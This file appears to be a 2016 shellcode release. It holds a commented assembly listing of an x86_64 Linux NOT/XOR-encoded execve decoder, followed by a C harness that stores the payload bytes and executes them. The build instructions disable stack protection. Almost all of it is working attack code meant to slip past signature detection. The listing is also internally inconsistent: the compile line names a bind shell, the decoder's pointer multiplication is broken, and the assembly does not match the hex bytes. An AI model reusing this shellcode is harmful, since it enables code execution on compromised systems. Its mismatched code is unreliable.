/*--------------------------------------------------------------------------------------------------------------------- /* *Title: x86_64 linux-Xor/not/div encoded execve shellcode *Author: Sathish kumar *Contact: https://www.linkedin.com/in/sathish94 * Copyright: (c) 2016 iQube. (http://iQube.io) * Release Date: January 6, 2016 *Description: X86_64 linux-Xor/not/div encoded execve shellcode 54 bytes *Tested On: Ubuntu 14.04 LTS *SLAE64-1408 *Build/Run: gcc -fno-stack-protector -z execstack bindshell.c -o bindshell * ./bindshell * * */ /* global _start section .text _start: jmp short call_shellcode decoder: pop rdi xor rcx, rcx xor rdx, rdx xor rax, rax mov cl, 26 decode: not byte [rdi] ; not function is appplied xor byte [rdi], 0xee ; xor function with 0xee mov rax, rdi ; multiplication is done mov ecx, 0x2 mul ecx mov rdi, rax inc rdi loop decode ; loop continues until the shellcode size is completed jmp short shellcode_to_decode ; Pointed to the decoded shellcode call_shellcode: call decoder shellcode_to_decode: db 0x35,0x09,0x6a,0x35,0x6a,0x62,0x22,0x39,0x35,0x4c,0x06,0x20,0x25,0x26,0x06,0x06,0x28,0x25,0x38,0x3b,0x3e,0x24,0x0c,0x3d,0x16,0x13 */ #include #include unsigned char code[] = \ "\xeb\x15\x5f\x48\x31\xc9\xb1\x1a\x80\x37\xee\xf6\x17\x80\x2f\x03\x48\xff\xc7\xe2\xf3\xeb\x05\xe8\xe6\xff\xff\xff\x5a\x25\xe8\x5a\xeb\xf8\x78\x42\x5a\xaf\x23\x74\x7d\x60\x23\x23\x67\x7a\x47\x46\x73\x7c\x2f\x4a\x03\x19"; main() { printf("Shellcode Length: %d\n", (int)strlen(code)); int (*ret)() = (int(*)())code; ret(); }